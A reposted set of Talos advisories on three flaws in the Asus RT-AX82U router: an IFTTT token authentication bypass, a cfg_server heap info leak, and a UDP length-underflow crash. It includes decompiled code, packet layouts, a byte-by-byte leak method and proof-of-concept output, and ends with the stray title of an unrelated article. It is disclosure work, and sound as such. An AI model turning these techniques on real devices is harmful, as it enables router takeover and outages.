Asus RT-AX82U vulnerability

Asus RT-AX82U vulnerability

Original text by talosintelligence

Asus RT-AX82U get_IFTTTTtoken.cgi authentication bypass vulnerability

CVE-2022-35401

An authentication bypass vulnerability exists in the get_IFTTTTtoken.cgi functionality of Asus RT-AX82U 3.0.0.4.386_49674-ge182230. A specially-crafted HTTP request can lead to full administrative access to the device. An attacker would need to send a series of HTTP requests to exploit this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Asus RT-AX82U 3.0.0.4.386_49674-ge182230

PRODUCT URLS

RT-AX82U — https://www.asus.com/us/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AX82U/

DETAILS

The Asus RT-AX82U router is one of the newer Wi-Fi 6 (802.11ax)-enabled routers that also supports mesh networking with other Asus routers. Like basically every other router, it is configurable via a HTTP server running on the local network. However, it can also be configured to support remote administration and monitoring in a more IOT style.

In order to enable remote management and monitoring of our Asus Router, so that it behaves just like any other IoT device, there are a couple of settings changes that need to be made. First we must enable WAN access for the HTTPS server (or else nothing could manage the router), and then we must generate an access code to link our device with either Amazon Alexa or IFTTT. These options can all be found internally at 

http://router.asus.com/Advanced_Smart_Home_Alexa.asp
.

As a high level overview, upon receiving this code, the remote website will connect to your router at the 

get_IFTTTtoken.cgi
 web page and provide a 
shortToken
HTTP query parameter. Assuming this token is received within 2 minutes of the aforementioned access code being generated, and also assuming this token matches what’s in the router’s nvram, the router will respond back with an 
ifttt_token
 that grants full administrative capabilities to the device, just like the normal token used after logging into the device via the HTTP server.

0002863c  int32_t do_get_IFTTTToken_cgi(int32_t arg1, FILE* arg2)
00028660      char* r0 = get_UA_Type(inpstr: &user_agent)                 // [1]
00028668      char* r0_2
00028668      if (r0 != 4)   // asusrouter-Windows-IFTTT-1.0
000286b0          r0_2 = get_UA_Type(inpstr: &user_agent)

// [...]
000286cc      void var_30
000286cc      memset(&var_30, 0, 0x20)
000286d8      char* r0_4 = check_if_queryitem_exists("shortToken")        // [2]
000286e0      if (r0_4 == 0)
000286e4          r0_4 = &nullptr

000286ec      int32_t r0_5 = gen_IFTTTtoken(token: r0_4, outbuf: &var_30) // [3]

00028700      fputs(str: &(*"\tif (disk_num == %d) {\n")[0x15], fp: arg2)
00028708      fflush(fp: arg2)
0002871c      fprintf(stream: arg2, format: ""ifttt_token":"%s",\n", &var_30) // [4]
00028724      fflush(fp: arg2)
00028738      fprintf(stream: arg2, format: ""error_status":"%d"\n", r0_5)
00028740      fflush(fp: arg2)
00028750      fputs(str: &data_81196, fp: arg2)
00028760      return fflush(fp: arg2)

At [1], the function pulls out the “User-Agent” header of our HTTP GET request and checks to see if it starts with “asusrouter”. It also checks if the text after the second dash is either “IFTTT” or “Alexa”. In either of those cases, it returns 4 or 5, and we’re allowed to proceed in the code path. At [2], the function pulls out the 

shortToken
 query parameter from our HTTP GET request and passes that into the 
gen_IFTTTtoken
 function at [3]. Assuming there is a match, 
gen_IFTTTtoken
will output the 
ifttt_token
 authentication buffer to 
var_30
, which is then sent back to the HTTP sender at [4]. Looking at 
gen_IFTTTtoken
:

0007b5c8  int32_t gen_IFTTTtoken(char* token, uint8_t* outbuf)

0007b5d4      int32_t r0 = uptime()
0007b5fc      memset(&ifttt_token_copy, 0, 0x20)
0007b614      int32_t r0_8
0007b614      int32_t arg3
0007b614      int32_t arg4
0007b614      if (r0 - nvram_get_int("ifttt_timestamp") s> 120)       // [5]
0007b6ec          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
0007b710              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] short token timeout\n", "gen_IFTTTtoken", 0x3ff, token, outbuf, arg3, arg4)
0007b714          r0_8 = 1
0007b630      else if (nvram_get_and_cmp("ifttt_stoken", token) == 0) // [6]
0007b72c          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
0007b760              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] short token is not the same: endp…", "gen_IFTTTtoken", 0x402, token, p2_nvram_get(item: "ifttt_stoken"), arg3, arg4)
0007b764          r0_8 = 2
0007b64c      else if (get_UA_Type(inpstr: &user_agent) != 4)
0007b77c          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
0007b7a0              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] user_agent not from IFTTT/ALEXA\n", "gen_IFTTTtoken", 0x405, token, outbuf, arg3, 0xf1430)
0007b7a4          r0_8 = 3
0007b668      else
0007b668          int32_t r2
0007b668          uint8_t* r3
0007b668          r2, r3 = nvram_set("skill_act_code", p2_nvram_get(item: "skill_act_code_t"))
0007b674          generate_asus_token(dst: &ifttt_token_copy, len: 0x20, r2, readsrc: r3)     // [7]
0007b684          strlcpy(dst: outbuf, src: &ifttt_token_copy, len: 0x20)
0007b694          nvram_set("ifttt_token", &ifttt_token_copy)
0007b698          nvram_commit()
0007b6ac          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
0007b6d0              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] get IFTTT long token success\n", "gen_IFTTTtoken", 0x408, token, outbuf, arg3, 0xf1430)
0007b6d4          r0_8 = 0
0007b7ac      return r0_8

Right at the beginning there is a check [5] to see if the uptime of the device is more than two minutes after the 

ifttt_stoken
 has been generated. Assuming we are within that timeframe, the 
ifttt_stoken
 nvram item is grabbed and compared with our 
shortToken
 at [6]. If there’s a match, we end up hitting the code branch around [7], where the device generates a new 
ifttt_token
 and copies it to the output buffer on the next line of code. As a reminder, this token grants the same admin access as the normal HTTP login token.

While nothing really seems out of place at the moment, let’s take a look over at the code which actually generates the 

ifttt_stoken
:

00074210  uint8_t* do_ifttt_token_generation(uint8_t* output)
// [...]
000742c0      char ifttt_token[0x80]
000742c0      memset(&ifttt_token, 0, 0x80)
000742d0      char timestamp[0x80]
000742d0      memset(&timestamp, 0, 0x80)
000742e0      char rbinstr[0x8]
000742e0      rbinstr[0].d = 0
000742e8      int32_t* randbinstrptr = &rbinstr
000742f4      rbinstr[4].d = 0
00074308      srand(x: time(timer: nullptr))
0007431c      // takes the remainder...
00074324      int_to_binstr(inp: __aeabi_idivmod(rand(), 0xff), cpydst: randbinstrptr, len: 7)              // [8]
// [...]
00074608      snprintf(s: &ifttt_token, maxlen: 0x80, format: &percent_o, binary_str_to_int(randbinstrptr)) // [9]
0007461c      nvram_set("ifttt_stoken", &ifttt_token)
00074638      snprintf(s: &timestamp, maxlen: 0x80, format: &percentld, uptime())                           // [10]
00074648      nvram_set("ifttt_timestamp", &timestamp)
00074658      strlcpy(dst: output, src: &skill_act_code, len: 0x48)
0007465c      nvram_commit()
0007466c      return output

With the unimportant code cut out, we are left with a somewhat clear view of the generation process. At [8] a random number is generated that is then moded against 0xFF. This number is then transformed into a binary string of length 8 (e.g. ‘00101011’). A lot further down at [9], this 

randbinstrptr
 is converted back to an integer and fed into a call to 
snprintf(&ifttt_token, 0x80, "%o", ...)
, which generates the octal version of our original number. With this in mind, we can clearly see that the keyspace for the 
ifttt_stoken
 is only 255 possibilities, which makes brute forcing the 
ifttt_stoken
 a trivial matter. While normally this would not be a problem, since the 
ifttt_stoken
 can only be used for two minutes after generation, we can see a flaw in this scheme if we take a look at the 
ifttt_timestamp
’s creation. At [10] we can clearly see that it is the 
uptime()
 of the device in seconds (which is taken from 
sysinfo()
). If we recall the actual check from before:

0007b5d4      int32_t r0 = uptime()
// [...]
0007b614      if (r0 - nvram_get_int("ifttt_timestamp") s> 120)
// [...]
0007b630      else if (nvram_get_and_cmp("ifttt_stoken", token) == 0)

We can see that the current uptime is used against the uptime of the generated token. Unfortunately for the device, 

uptime
 starts from when the device was booted, so if the device ever restarts or reboots for any reason, the 
ifttt_stoken
 suddenly becomes valid again since the current uptime will most likely be less than the 
uptime()
 call at the point of 
ifttt_stoken
 generation. Neither the 
ifttt_timestamp
 or the 
ifttt_stoken
 are ever cleared from nvram, even if the Amazon Alexa and IFTTT setting are disabled, and so the device will remain vulnerable from the moment of first generation of the configuration.

Asus RT-AX82U cfg_server cm_processREQ_NC information disclosure vulnerability

CVE-2022-38105

SUMMARY

An information disclosure vulnerability exists in the cm_processREQ_NC opcode of Asus RT-AX82U 3.0.0.4.386_49674-ge182230 router’s configuration service. A specially-crafted network packets can lead to a disclosure of sensitive information. An attacker can send a network request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Asus RT-AX82U 3.0.0.4.386_49674-ge182230

PRODUCT URLS

RT-AX82U — https://www.asus.com/us/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AX82U/

DETAILS

The Asus RT-AX82U router is one of the newer Wi-Fi 6 (802.11ax)-enabled routers that also supports mesh networking with other Asus routers. Like basically every other router, it is configurable via a HTTP server running on the local network. However, it can also be configured to support remote administration and monitoring in a more IOT style.

The 

cfg_server
 and 
cfg_client
 binaries living on the Asus RT-AX82U are both used for easy configuration of a mesh network setup, which can be done with multiple Asus routers via their GUI. Interestingly though, the 
cfg_server
 binary is bound to TCP and UDP port 7788 by default, exposing some basic functionality. The TCP port and UDP ports have different opcodes, but for our sake, we’re only dealing with the TCP opcodes which look like such:

type_dict = {
   0x1    :   "cm_processREQ_KU",   // [1]
   0x3    :   "cm_processREQ_NC",   // [2]
   0x4    :   "cm_processRSP_NC",
   0x5    :   "cm_processREP_OK",
   0x8    :   "cm_processREQ_CHK",
   0xa    :   "cm_processACK_CHK",
   0xf    :   "cm_processREQ_JOIN",
   0x12   :   "cm_processREQ_RPT",
   0x14   :   "cm_processREQ_GKEY",
   0x17   :   "cm_processREQ_GREKEY",
   0x19   :   "cm_processREQ_WEVENT",
   0x1b   :   "cm_processREQ_STALIST",
   0x1d   :   "cm_processREQ_FWSTAT",
   0x22   :   "cm_processREQ_COST",
   0x24   :   "cm_processREQ_CLIENTLIST",
   0x26   :   "cm_processREQ_ONBOARDING",
   0x28   :   "cm_processREQ_GROUPID",
   0x2a   :   "cm_processACK_GROUPID",
   0x2b   :   "cm_processREQ_SREKEY",
   0x2d   :   "cm_processREQ_TOPOLOGY",
   0x2f   :   "cm_processREQ_RADARDET",
   0x31   :   "cm_processREQ_RELIST",
   0x33   :   "cm_processREQ_APLIST",
   0x37   :   "cm_processREQ_CHANGED_CONFIG",
   0x3b   :   "cm_processREQ_LEVEL",
}  

Out of the 24 different opcodes, only 3 or so can be used without authentication, and so let’s start from the top with 

cm_processREQ_KU
 [1]. The simplest request, it demonstrates the basic TLV structure of the 
cfg_server
:

struct REQ_TLV = {
    uint32_t tlv_type;
    uint32_t size;
    uint32_t crc;
    char buffer[];
}

For the 

cm_processREQ_KU
 request, 
type
 is 1 and the 
crc
 doesn’t actually matter, but the 
size
 field will always be the size of the 
buffer
 field, not the rest of the headers. Regardless, this particular request gets responded to with the server’s public RSA key. This RSA key is needed in order to send a valid 
cm_processREQ_NC
[2] packet, which is where our bug is. The 
cm_processREQ_NC
 request is a bit complex, but the structure is given below:

struct REQ_NC = {
    uint32_t tlv_type = "\x00\x00\00\x03",
    uint32_t size,
    uint32_t crc,
    uint32_t tlv_subpkt1 = "\x00\x00\x00\x01", //[3]
    uint32_t sizeof_subpkt1,
    uint32_t crcof_subpkt1,
    char master_key[ ],                        //[4]
    uint32_t tlv_subpkt2 = "\x00\x00\x00\x03",
    uint32_t sizeof_subpkt2,   
    uint32_t crcof_subpkt2,
    char client_nonce[ ],                      //[5]
}

The 

cm_processREQ_KU
 request provides the server with two different items that are used to generate the session key needed for all subsequent requests, the 
master_key
[3] and the 
client_nonce
[4]. A quick note before we get to that: Everything in the packet starting from the 
tlv_subpkt1
 field at [3] gets encrypted by the RSA public key that we get from the 
cm_processREQ_KU
 request, so there’s an implicit length limitation due to RSA encryption. Continuing on, the 
master_key
[4] buffer is used as the  
aes_ebc_256
 key that the server will use to encrypt the response to this packet, and the 
client_nonce
 buffer is used to generate a session key later on. Let us now examine what the server sends in return:

[~.~]> x/60bx $r1
0xb62014e0:     0x00    0x00    0x00    0x02    0x00    0x00    0x00    0x20 // headers
0xb62014e8:     0x06    0x42    0x18    0x4f    
   
0xb62014ec:     0x13    0x9f    0x09    0x97 // server nonce [6]
0xb62014f0:     0x90    0x92    0x9b    0x85    0xe5    0x40    0xa1    0x38
0xb62014f8:     0xd7    0x81    0x62    0x72    0xf6    0x88    0x5c    0xef
0xb6201500:     0x61    0x86    0x5c    0xc0    0xef    0xc0    0x06    0x23
0xb6201508:     0xa2    0x6d    0x6a    0x85    
                                 
0xb620150c:     0x00    0x00    0x00    0x03                     // headers
0xb6201510:     0x00    0x00    0x00    0x04    0x51    0xb3    0x28    0x43
0xb6201518:     0xcc    0xcc    0xcc    0xcc // [...]            // client nonce [7]

Both the 

server_nonce
 at [6] and the 
client_nonce
[7] are AES encrypted and sent back to us. Subsequent authentication consists of generating a session key from 
sha256(groupid + server_nonce + client_nonce)
. In order to hit our bug, we don’t even need to go that far. Let us take a quick look at how the AES encryption happens:

0001d8b0    void *aes_encrypt(char *enckey, char *inpbuf, int32_t inpsize, uint32_t outsize){
0001d8c8         int32_t ctx = EVP_CIPHER_CTX_new();
0001d8d4         if (ctx == 0){ ... }
0001d904         else {
0001d914              int32_t r0_2 = EVP_EncryptInit_ex(ctx: ctx, type: EVP_aes_256_ecb(), imple: null, key: enckey, iv: nullptr);

We don’t need to delve too much into what occurs; it suffices to know that the key is passed directly from the 

enckey
 parameter straight into the 
EVP_EncryptInit_ex
. Backing up to find what exactly is passed:

00057534 int32_t cm_processREQ_NC(int32_t clifd, struct ctrlblk *ctrl, void *tlvtype, int32_t pktlen, void *tlv_checksum, struct tlv_ret_struct* sess_block, char *pktbuf, uint32_t client_ip, char *cli_mac){
{...}
00058b58    void *aes_resp = aes_encrypt(enckey: sess_block->master_key, inpbuf: nonce_buff, inpsize: clinonce_len + sess_block->server_nonce_len + 0x18, outsize: &act_resp_b_size);

We can see it involves the masterkey that we provided. Let’s back up further in 

cm_processREQ_NC
 to see exactly how it’s populated:

00057534 int32_t cm_processREQ_NC(int32_t clifd, struct ctrlblk *ctrl, void *tlvtype, int32_t pktlen, void *tlv_checksum, struct tlv_ret_struct* sess_block, char *pktbuf, uint32_t client_ip, char *cli_mac){
// [...]
00057af4              int32_t req_type = decbuf_0x1002.request_type_le
00057af4              int32_t req_len = decbuf_0x1002.total_len_le
00057af4              int32_t req_crc = decbuf_0x1002.crc_mb
00057b00              int32_t reqlen = req_len u>> 0x18 | (req_len u>> 0x10 & 0xff) << 8 | (req_len u>> 8 & 0xff) << 0x10 | (req_len & 0xff) << 0x18
00057b08              int32_t reqcrcle_
00057b08              if (reqlen != 0)
00057b10                  reqcrcle_ = req_crc u>> 0x18 | (req_crc u>> 0x10 & 0xff) << 8 | (req_crc u>> 8 & 0xff) << 0x10 | (req_crc & 0xff) << 0x18
00057b18                  if (reqcrcle_ != 0)
00057bb4                      if (req_type != 0x1000000)  // master key [8]
                                    // [...]
00057c48                      int32_t decsize_m0xc = size_of_decrypted - 0xc
00057c50                      if (decsize_m0xc u< reqlen)  // [9]
                                    // [...]
00057cf0                      char (* var_1048_1)[0x1000] = &dec_buf_contents
00057d00                      if (do_crc32(IV: 0, buf: &dec_buf_contents, bufsize: reqlen) != reqcrcle_) [10]
                                    // [...]
00057d94                      sess_block->masterkey_size = reqlen
00057d9c                      char* aeskey_malloc = malloc(bytes: reqlen) // [11]
00057da8                      sess_block->master_key = aeskey_malloc
                                    // [...]
00057db8                      memset(aeskey_malloc, 0x0, reqlen);  
00057dd8                      memcpy(aeskey_malloc, &dec_buf_contents, reqlen); 

Trimming out all the error cases, we start from where the server starts reading the bytes decrypted with its RSA private key. All the fields have their endianess reversed, and the sub-request type is checked at [8]. A size check at [9] prevents us from doing anything silly with the length field in our master_key message, and a CRC check occurs at [10]. Finally the 

sess_block-&gt;master_key
 allocation occurs at [11] with a size that is provided by our packet.

Now, an important fact about AES encryption is that the key is always a fixed size, and for AES_256, our key needs to be 0x20 bytes. As noted above however, there’s not actually any explicit length check to make sure the provided 

master_key
 is 0x20 bytes. Thus, if we provide a 
master_key
 that’s say, 0x4 bytes, a 
malloc
memset
 and 
memcpy
 of size 0x4 will occur.  
aes_encrypt
 will read 0x20 bytes from the start of our 
master_key
’s heap allocation, resulting in an out-of-bound read and assorted heap data being included into the AES key that encrypts the response. While not exactly a straight-forward leak, we can figure out these bytes if we slowly oracle them out. Since we know what the last bytes of the response should be (the 
client_nonce
 that we provide), we can simply give a 
master_key
that’s 0x1F bytes, and then brute force the last byte locally, trying to decrypt the response with each of the 0xFF possibilities until we get one that correctly decrypts. Since we know the last byte, we can then move onto the second-to-last byte, and so-on and so forth, until we get useful data.

While the malloc that occurs can go into a different bucket based on the size of our provided 

master_key
, heuristically it seems that the same heap chunk is returned with a 
master_key
 of less than 0x1E bytes. A different chunk is returned if the key is 0x1F or 0x1E bytes long. If we thus give a key of 0x1D bytes, we have to brute-force 3 bytes at once, which takes a little longer but is still doable. After that we can go byte-by-byte again and leak important information such as thread stack addresses.

Crash Information

$python infoleak.py

Type: 1 (cm_processREQ_KU)
Len:  0x4
CRC:  0x56b642cd
===MSG===
\x11\x22\x33\x44
=========

b'\x00\x00\x00\x01\x00\x00\x00\x04V\xb6B\xcd\x11"3D'
[^_^] Importing:
-----BEGIN PUBLIC KEY-----
[...]
-----END PUBLIC KEY-----

Type: 3 (cm_processREQ_NC)
Len:  0x100
CRC:  0x92657321
===MSG===
\x1a\x54\xd7\x4a\xf6\x7a\xe1\x4c\x16\x76\x69\x74\x2b\x96\x41\xc6\xa0\xbc\x57\x58\x45\x61\xa9\xa9\x04\x09\xae\xb4\xb2\x9c\x54\xdd\xb8\xd1\x8f\x0d\x25\xf6\x79\x07\xd6\x65\x12\x75\xbb\x7d\x2d\x4e\x41\xf0\xa9\x47\x75\xa5\x73\x2d\x4c\x02\x10\x9e\xb1\x3a\x2c\xa5\x1c\x11\xfe\x35\x8e\xd3\x95\x53\xe5\x90\x3a\x9a\x8b\xad\x9b\x10\x81\xde\xd3\x67\x19\x9d\x34\x44\x52\x75\x1d\x90\xc7\xbf\x19\xf1\x04\x15\x19\xd4\x11\x2d\x70\xbd\xa9\x87\xdf\x22\x59\xc2\xb0\xb1\xd5\x7b\x5a\xcb\xe7\xc7\x34\x0f\xcb\xa6\x9f\x81\x5c\xb3\x6d\xf7\x1c\x49\xd7\xed\x72\x54\x85\xe0\xca\x32\x96\xa9\xa2\x44\xda\x56\xfb\xf7\x96\x21\x53\xb7\xbe\x9c\xc9\x5f\x4a\x00\xdb\x2f\xd2\x6e\x1b\xf5\xdc\xa9\xa5\x8f\xde\xf5\x80\x83\xd7\xd8\x65\xe8\x6f\xd6\x0a\x3e\x10\x92\xca\xd2\xbf\x14\x1c\x06\xf0\x53\xb5\x41\xea\x2a\xe2\x5c\x2a\xa8\xb9\xa2\x92\xe7\xd5\x44\x55\x1c\x8e\x9b\xff\x13\x37\x60\x5b\x82\xfa\xa0\xe7\x44\x8f\x0b\xe9\x8f\x64\xcd\xa4\x50\xe9\xcd\xbc\x14\x34\xed\x57\xc5\x0a\xaf\xc3\x8d\x71\xee\x48\x35\x90\xa6\xb7\x08\x6c\xfb\xb1\xbf\xee\x0c\x72\x21\xdf\x4e\x29\xf9
=========

[^_^] Leaked Bytes: 0x0000b620
b'\x00\x00\x00\x02\x00\x00\x00 \x1a=\xac\x11\xebVxU\xe7\\\xdb8\x02\\k\n<\x91_>\x17\xc6r\x08\xfc\xbc\xde\xf6\x1a\x1ev\xfa\x03_\xf0y\x00\x00\x00\x03\x00\x00\x00\x07\x10\xc1\x06\xa9\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x01'

Asus RT-AX82U cfg_server cm_processConnDiagPktList denial of service vulnerability

CVE-2022-38393

SUMMARY

A denial of service vulnerability exists in the cfg_server cm_processConnDiagPktList opcode of Asus RT-AX82U 3.0.0.4.386_49674-ge182230 router’s configuration service. A specially-crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Asus RT-AX82U 3.0.0.4.386_49674-ge182230

PRODUCT URLS

RT-AX82U — https://www.asus.com/us/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AX82U/

DETAILS

The Asus RT-AX82U router is one of the newer Wi-Fi 6 (802.11ax)-enabled routers that also supports mesh networking with other Asus routers. Like basically every other router, it is configurable via a HTTP server running on the local network. However, it can also be configured to support remote administration and monitoring in a more IOT style.

The 

cfg_server
 and 
cfg_client
 binaries living on the Asus RT-AX82U are both used for easy configuration of a mesh network setup, which can be done with multiple Asus routers via their GUI. Interestingly though, the 
cfg_server
 binary is bound to TCP and UDP port 7788 by default, exposing some basic functionality. The TCP port and UDP ports have different opcodes, but for our sake, we’re only dealing with a particular set of ConnDiag opcodes which look like such:

struct tlv_holder connDiagPacketHandlers = 
{
    uint32_t type = 0x5
    tlv_func *tfunc = cm_processREQ_CHKSTA
}
struct tlv_holder connDiagPacketHandlers[1] = 
{
    uint32_t type = 0x6
   tlv_func *tfunc = cm_processRSP_CHKSTA
}

The above TLVs are accessible from the 

cm_recvUDPHandler
 thread in a particular codeflow:

0001ed90      cm_recvUdpHandler()
              // [...]
0001edf8      int32_t bytes_read = recvfrom(sfd: cm_ctrlBlock.udp_sock, buf: &readbuf, len: 0x7ff, flags: 0, srcaddr: &sockadd, addrlen: &sockaddsize) // [1]
                // [...]
0001ee00      if (bytes_read == 0xffffffff)
                // [...]
0001ee98      else if (sockadd.sa_data[2].d != cm_ctrlBlock.self_address)
                // [...]
0001f0e0          char* malloc_824 = malloc(bytes: 0x824) // [2]
0001f0e4          struct udp_resp* inp = malloc_824
0001f0e8          if (malloc_824 != 0)
0001f184              memset(malloc_824, 0, 0x824)        // [3]
0001f194              memcpy(inp, &readbuf, bytes_read)
0001f198              int32_t ipaddr = sockadd.sa_data[2].d
0001f19c              inp->bytes_read = bytes_read
0001f1a4              int32_t ip = ipaddr u>> 0x18 | (ipaddr u>> 0x10 & 0xff) << 8 | (ipaddr u>> 8 & 0xff) << 0x10 | (ipaddr & 0xff) << 0x18
0001f1d4              snprintf(s: &inp->ip_addr_str, maxlen: 0x20, format: "%d.%d.%d.%d", ip u>> 0x18, ip u>> 0x10 & 0xff, ip u>> 8 & 0xff, ror.d(ip, 0) & 0xff, var_864, var_860, var_85c, var_858, var_854)
0001f1dc              int32_t var_838_1 = readbuf[4].d
0001f1dc              int32_t var_834_1 = readbuf[8].d
0001f1e8              if (readbuf[0].d == 0x6000000)      // [4]
0001f1f0                  r0_6 = cm_addConnDiagPktToList(inp: inp)

At [1], the server reads in 0x7ff bytes from its UDP 7788 port, and at [2] and [3], the data is then copied from the stack over to a cleared-out heap allocation of size 0x824. Assuming the first four bytes of the input packet are “\x00\x00\x00\x06”, then the packet gets added to a particular linked list structure, the 

connDiagUdpList
. Before we continue on though, it’s appropriate to list out the structure of the input packet:

struct tlv_pkt {
    uint32_t type;
    uint32_t datalen;
    uint32_t crc;
    uint8_t data[];
}

Continuing on, another thread is constantly polling the 

connDiagUdpList
, and if a packet is seen, then we jump over to 
cm_processConnDiagPktList()
:

00053ca8  int32_t cm_processConnDiagPktList()    
00053cc8      pthread_mutex_lock(mutex: &connDiagLock)
00053cd8      struct list* connDiagUdp = connDiagUdpList
00053ce8      if (connDiagUdp->entry_count s> 0)
00053d2c          for (struct listitem* item = connDiagUdp->tail; item != 0; item = item->next)
00053d30              struct udp_resp* input_pkt = item->inp
00053d38              if (input_pkt != 0)
00053d44                  uint32_t null = terminateConnDiagPktList
00053d4c                  if (null != 0)
00053d4c                      break
00053d50                  uint32_t hex_6000000 = input_pkt->req_type_le
00053d58                  uint32_t dlen = input_pkt->datalen_le
00053d68                  int32_t dlenle = input_pkt->bytes_read - 0xc  // [5]
00053d6c                  uint32_t crcle = input_pkt->crcle
                            // [...]
00053d80                  if (dlenle == (dlen u>> 0x18 | (dlen u>> 0x10 & 0xff) << 8 | (dlen u>> 8 & 0xff) << 0x10 | (dlen & 0xff) << 0x18)) //[6]
00053e0c                      char* buf = &input_pkt->readbuf
00053e18                      crc = do_crc32(IV: null, buf: buf, bufsize: dlenle) // [7]

At [5], the actual length of the input packet minus twelve is compared against the length field inside the packet itself [6]. Assuming they match, the CRC is then checked, another field provided in the packet itself. A flaw is present in this function, however, in that there is a check missing in this code path that can be seen in both the TCP and UDP handlers: the code needs to verify that the size of the received packet is >= 0xC bytes. Thus, if a packet is received that is less than 0xC bytes, the 

dlenle
 field at [5] underflows to somewhere between 
0xFFFFFFFC
 and 
0xFFFFFFFF
. The check against the length field [6] can be easily bypassed by just correctly putting the underflowed length inside the packet. The CRC check at [7] isn’t an issue, since if the 
bufsize
 parameter is less than zero, it automatically skips CRC calculation. Since a CRC skip results in a return value of 0x0, we need to make sure that the 
crc
 field is “\x00\x00\x00\x00”. Conveniently, this is handled already for us if our packet is only 8 bytes long, since the buffer that the packet lives in was 
memset
 to 0x0 beforehand.

While we can pass all the above checks with an 8-byte packet, it does prevent us from having any control over what occurs after. We end up hitting 

cm_processConnDiagPkt(uint32_t tlv_type, uint32_t datalen, uint32_t crc, char *databuf, char *ipaddr)
 which just passes us off to the appropriate TLV handler. Since our opcode has to be “\x00\x00\x00\x06”, we always hit 
cm_processRSP_CHKSTA(char *pktbuf, uint32_t pktlen, uint32_t ipaddr)
:

00052f20  int32_t cm_processRSP_CHKSTA(char* pktbuf, uint32_t pktlen, int32_t ipaddr)
00052f50      char jsonbuf[0x800]
00052f50      memset(&jsonbuf, 0, 0x800)
                             // [...]
00052f64      if (cm_ctrlBlock.group_key_ready != 0)
00053004          char* groupkey = cm_selectGroupKey(which_key: 1)
0005300c          if (groupkey == 0)
                                              // [...]
00053098              goto label_530a0
000530c0          char* r0_11 = do_decrypt(sesskey1: groupkey, sesskey2: cm_selectGroupKey(which_key: 0), pktbuf: pktbuf, pktlen: pktlen) //[8]

Assuming there is a group key (which there should always be, even if the AImesh setting is not configured), then we end up hitting the 

do_decrypt
 function at [8], which decrypts the data of our input packet with one of the groupkeys. The 
do_decrypt
 function ends up hitting 
aes_decrypt
 as shown below:

0001db18  void* aes_decrypt(char* sesskey1, char* pktbuf, char* pktlen, int32_t* outlen)
0001db30      int32_t ctx = EVP_CIPHER_CTX_new()
0001db38      int32_t outl = 0
0001db3c      void* ctx = ctx
0001db40      void* ret
0001db40      if (ctx == 0)
                                    // [...]
0001db6c      else
0001db6c          char* bytesleft = nullptr
0001db7c          int32_t r0_2 = EVP_DecryptInit_ex(ctx, EVP_aes_256_ecb(), 0, sesskey1, 0)
                                     // [...]
0001db84          if (r0_2 != 0)
0001dba0              *outlen = 0
0001dbac              void* alloc_size = EVP_CIPHER_CTX_block_size(ctx) + pktlen
0001dbb4              maloced = malloc(bytes: alloc_size)  // 0xc...
0001dbbc              if (maloced == 0)
                                                     //[...]
0001dbe4              else
0001dbe4                  memset(maloced, 0, alloc_size)
0001dbec                  void* mbuf = maloced
0001dbf0                  char* pktiter = pktlen
0001dc00                  void* inpbuf
0001dc00                  void* r3_2
0001dc00                  while (true)
0001dc00                      inpbuf = &pktbuf[pktlen - pktiter]
0001dc04                      if (pktiter u<= 0x10)
0001dc04                          break
0001dc10                      bytesleft = 0x10
0001dc1c                      int32_t r0_8 = EVP_DecryptUpdate(ctx, mbuf, &outl, inpbuf, 0x10) //[9]
0001dc20                      r3_2 = r0_8
0001dc24                      if (r0_8 == 0)
0001dc24                          break
0001dc60                      int32_t outl_len = outl
0001dc64                      pktiter = pktiter - 0x10
0001dc6c                      mbuf = mbuf + outl_len
0001dc74                      *outlen = *outlen + outl_len

For brevity’s sake, we can skip all the way to [9], where 

EVP_DecryptUpdate
 is called repeatedly in a loop over the input buffer. Since the 
pktlen
 argument has been underflowed to atleast 0xFFFFFFFC, it suffices to say that we have a wild read, resulting in a crash when reading unmapped memory.

Crash Information

potentially unexpected fatal signal 11.
CPU: 1 PID: 12452 Comm: cfg_server Tainted: P           O    4.1.52 #2
Hardware name: Generic DT based system
task: d04cd800 ti: d0632000 task.ti: d0632000
PC is at 0xb6c7f460
LR is at 0xb6d3ca04
pc : [<b6c7f460>]    lr : [<b6d3ca04>]    psr: 60070010
sp : b677c46c  ip : 00ff4ff4  fp : b6600670
r10: b6c7ef40  r9 : 00000000  r8 : beec0b82
r7 : b6600670  r6 : 00000010  r5 : b6620c38  r4 : 00ff5004
r3 : b6c7f440  r2 : 00000000  r1 : 00000000  r0 : 00000000
Flags: nZCv  IRQs on  FIQs on  Mode USER_32  ISA ARM  Segment user
Control: 10c5387d  Table: 1048c04a  DAC: 00000015
CPU: 1 PID: 12452 Comm: cfg_server Tainted: P           O    4.1.52 #2
Hardware name: Generic DT based system
[<c0026fe0>] (unwind_backtrace) from [<c0022c38>] (show_stack+0x10/0x14)
[<c0022c38>] (show_stack) from [<c047f89c>] (dump_stack+0x8c/0xa0)
[<c047f89c>] (dump_stack) from [<c003ac30>] (get_signal+0x490/0x558)
[<c003ac30>] (get_signal) from [<c00221d0>] (do_signal+0xc8/0x3ac)
[<c00221d0>] (do_signal) from [<c0022658>] (do_work_pending+0x94/0xa4)
[<c0022658>] (do_work_pending) from [<c001f4cc>] (work_pending+0xc/0x20)

Vulnerabilities and Hardware Teardown of GL.iNET GL-MT300N-V2 Router

Vulnerabilities and Hardware Teardown of GL.iNET GL-MT300N-V2 Router

Original text by Olivier Laflamme

